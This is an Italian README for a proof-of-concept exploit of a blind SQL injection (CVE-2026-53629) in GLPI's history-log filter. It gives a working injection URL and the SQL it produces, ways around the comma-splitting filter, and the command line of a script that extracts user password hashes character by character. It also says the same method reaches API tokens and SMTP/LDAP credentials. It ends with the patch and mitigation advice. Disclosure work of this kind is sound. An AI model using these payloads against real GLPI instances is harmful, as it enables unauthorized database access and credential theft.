
PoC per CVE-2026-53629, SQL injection cieca nel filtro del log di cronologia di GLPI
Iniezione SQL cieca nel filtro dei log di cronologia di GLPI. CVE-2026-53629, corretta in 11.0.8 e 10.0.26, presente fin dalla 9.4.0.
Richiede un account qualsiasi con il diritto di lettura logs. Il profilo Read-Only predefinito lo include.
Advisory: GHSA-cpcj-x335-5cmh Resoconto: come l'ho trovata
Log::convertFiltersValuesToSqlCriteria() divide il filtro affected_fields in key:operator:values. La patch per CVE-2026-29047 validava l'operatore e applicava il cast all'indice dell'array, lasciando $key intatta.
DBmysqlIterator::analyseCrit() non mette tra virgolette , e come nomi di colonna. Ricorre nei loro valori e questa ricorsione termina su un ramo deprecato che restituisce stringhe semplici come SQL grezzo.
ORANDNOTQuindi OR come chiave inserisce nella clausola WHERE tutto ciò che si vuole:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
La scheda Cronologia fa lo stesso tramite filters[affected_fields][0].
explode(',', $values) spezza qualsiasi cosa contenga una virgola, quindi SUBSTRING(s,1,1) e IF(a,b,c) sono da escludere. CASE WHEN ... THEN ... ELSE ... END e MID(s FROM n FOR 1) fanno al caso nostro. Letterali esadecimali al posto delle virgolette: 0x676c7069 è glpi.
Il payload viene eseguito una volta per ogni riga in glpi_logs, quindi lo sleep si moltiplica. Sei righe con sleep(5) equivalgono a 30 secondi. Su un'istanza reale riducilo a 0.1 o la richiesta non tornerà mai.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
Legge glpi_users.password un carattere alla volta tramite ricerca binaria. --id per un altro utente, --sleep e --threshold per bersagli più lenti.
Lo stesso trucco legge api_token, personal_token e le credenziali SMTP e LDAP in glpi_configs.
Aggiorna. Se non puoi, rimuovi il diritto di lettura logs dai profili che non ne hanno bisogno. Il progetto upstream ha aggiunto la chiave alla whitelist:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
Pubblicato dopo il rilascio della correzione. Non eseguirlo su sistemi che non sono tuoi.